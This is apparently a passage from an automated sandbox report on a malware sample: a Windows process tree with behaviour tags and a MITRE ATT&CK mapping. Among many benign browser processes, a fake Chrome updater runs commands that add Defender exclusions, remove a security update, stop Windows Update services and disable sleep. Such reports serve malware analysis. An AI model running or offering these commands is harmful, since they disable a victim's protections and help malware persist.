                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,12397928864745084017,1392248255538545621,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:14
                                            2⤵
                                              PID:1224
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=4864,i,1497032597344414462,17468299226196567466,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:1
                                              2⤵
                                                PID:6056
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5156,i,5924812202453588410,2845923353462605815,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:1
                                                2⤵
                                                  PID:6504
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6288,i,17566662562046865132,8818035851096703848,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:1
                                                  2⤵
                                                    PID:6024
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5172,i,2647353973961047286,9403718969458263937,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:1
                                                    2⤵
                                                      PID:4668
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,15274649115222969647,10990127368257816632,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:14
                                                      2⤵
                                                        PID:2004
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5148,i,7459594033152261919,15564421346837955150,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:1
                                                        2⤵
                                                          PID:6824
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5144,i,17612630048494359572,9678697778371292136,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
                                                          2⤵
                                                            PID:3832
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6148,i,8139446768810304362,1110449353402961200,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:1
                                                            2⤵
                                                              PID:2040
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6360,i,2310378022121991435,4464889371151680819,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:9
                                                              2⤵
                                                                PID:2008
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,2242707935452652861,4062011401562224874,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:14
                                                                2⤵
                                                                  PID:6988
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4584,i,14352145526306722231,11984711352153462436,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
                                                                  2⤵
                                                                    PID:5076
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6500,i,5833645962151706808,10309762966117142715,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
                                                                    2⤵
                                                                      PID:6228
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1232,i,5160794898142710902,8069330952562927817,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:11
                                                                      2⤵
                                                                      • System Time Discovery
                                                                      PID:6488
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5060,i,15475436754768271614,7971896214170628980,262144 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:10
                                                                      2⤵
                                                                        PID:4844
                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                      1⤵
                                                                        PID:5080
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                        1⤵
                                                                          PID:4676
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                          1⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          PID:5456
                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                          1⤵
                                                                            PID:2960
                                                                          • C:\ProgramData\Google\Chrome\updater.exe
                                                                            C:\ProgramData\Google\Chrome\updater.exe
                                                                            1⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Drops file in Drivers directory
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Checks whether UAC is enabled
                                                                            • Drops file in System32 directory
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:5380
                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                              2⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Drops file in System32 directory
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:6152
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                              2⤵
                                                                                PID:4236
                                                                                • C:\Windows\System32\wusa.exe
                                                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                                                  3⤵
                                                                                    PID:6532
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop UsoSvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:5768
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:1996
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop wuauserv
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:6064
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop bits
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:708
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop dosvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:5168
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:6852
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:1044
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:6224
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:7124
                                                                                • C:\Windows\system32\dialer.exe
                                                                                  C:\Windows\system32\dialer.exe
                                                                                  2⤵
                                                                                    PID:2020
                                                                                  • C:\Windows\system32\dialer.exe
                                                                                    C:\Windows\system32\dialer.exe
                                                                                    2⤵
                                                                                      PID:2544
                                                                                    • C:\Windows\system32\dialer.exe
                                                                                      dialer.exe
                                                                                      2⤵
                                                                                        PID:1816
                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                      1⤵
                                                                                        PID:1596
                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                        1⤵
                                                                                          PID:6436
                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                          1⤵
                                                                                            PID:3332
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                                                                            1⤵
                                                                                            • Loads dropped DLL
                                                                                            • Drops file in Windows directory
                                                                                            • Enumerates system info in registry
                                                                                            • Modifies data under HKEY_USERS
                                                                                            • Modifies registry class
                                                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            PID:3216
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffe6019c188,0x7ffe6019c194,0x7ffe6019c1a0
                                                                                              2⤵
                                                                                                PID:1928
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1940,i,17024180720750237197,16401982638916630432,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:11
                                                                                                2⤵
                                                                                                • System Time Discovery
                                                                                                PID:2340
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2556,i,14981374529864890695,12135909531001148100,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:13
                                                                                                2⤵
                                                                                                  PID:3864
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,17318460035375830210,17118844968534235168,262144 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:2
                                                                                                  2⤵
                                                                                                    PID:6092
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3520,i,14534129578786381322,2893546702171606271,2097152 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:6040
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3524,i,12635834478381979396,9550776983820606426,2097152 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:2976
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5752,i,15657913924805054184,9815333983227955393,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:14
                                                                                                        2⤵
                                                                                                          PID:2664
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,1761713780185772064,12614081303441926880,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:14
                                                                                                          2⤵
                                                                                                            PID:1332
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,2620758009488030251,6226845030606123916,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:14
                                                                                                            2⤵
                                                                                                              PID:6384
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,2620758009488030251,6226845030606123916,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:14
                                                                                                              2⤵
                                                                                                                PID:5428
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,16471664163154871627,10708082855666026379,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
                                                                                                                2⤵
                                                                                                                  PID:5076
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5624,i,3263502650924705850,17139638765768825534,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:14
                                                                                                                  2⤵
                                                                                                                    PID:5580
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=744,i,1172661147108265927,3982385093859439322,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
                                                                                                                    2⤵
                                                                                                                      PID:6380
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,17208546727897946497,10392064679954957274,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
                                                                                                                      2⤵
                                                                                                                        PID:3340
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,5450820097666651614,12535998756642050514,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
                                                                                                                        2⤵
                                                                                                                          PID:6872
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,11969654410862011199,1398506214807320864,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2832 /prefetch:14
                                                                                                                          2⤵
                                                                                                                            PID:6904
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2852,i,10748905959082679181,1529952703838934802,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
                                                                                                                            2⤵
                                                                                                                              PID:4952
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,2013377879939925796,644748916646042619,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:14
                                                                                                                              2⤵
                                                                                                                                PID:6396
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3440,i,10053206813386846659,2408066717041004774,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:14
                                                                                                                                2⤵
                                                                                                                                  PID:6380
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5292,i,5204424951455273221,8891916564765001296,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:14
                                                                                                                                  2⤵
                                                                                                                                    PID:3388
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1940,i,14563784799873476867,16925655306046449850,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:11
                                                                                                                                    2⤵
                                                                                                                                    • System Time Discovery
                                                                                                                                    PID:6804
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,5124336680101229221,1096540224514702135,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:14
                                                                                                                                    2⤵
                                                                                                                                      PID:2432
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,5063436240793966223,10575449185646499719,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
                                                                                                                                      2⤵
                                                                                                                                        PID:4260
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,9636226736209597694,15557294201897860841,524288 --field-trial-handle=2236,i,33270022475565211,1120572979429038581,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:14
                                                                                                                                        2⤵
                                                                                                                                          PID:5020
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                        1⤵
                                                                                                                                          PID:2076
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                          1⤵
                                                                                                                                            PID:1736
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                                                                                            1⤵
                                                                                                                                              PID:4408

                                                                                                                                            Network

                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                  Reconnaissance

                                                                                                                                                  Resource Development

                                                                                                                                                  Initial Access

                                                                                                                                                  Execution

                                                                                                                                                  Command and Scripting Interpreter

                                                                                                                                                  1
                                                                                                                                                  T1059

                                                                                                                                                  PowerShell

                                                                                                                                                  1
                                                                                                                                                  T1059.001

                                                                                                                                                  System Services

                                                                                                                                                  2
                                                                                                                                                  T1569

                                                                                                                                                  Service Execution

                                                                                                                                                  2
                                                                                                                                                  T1569.002

                                                                                                                                                  Persistence

                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                  1
                                                                                                                                                  T1547

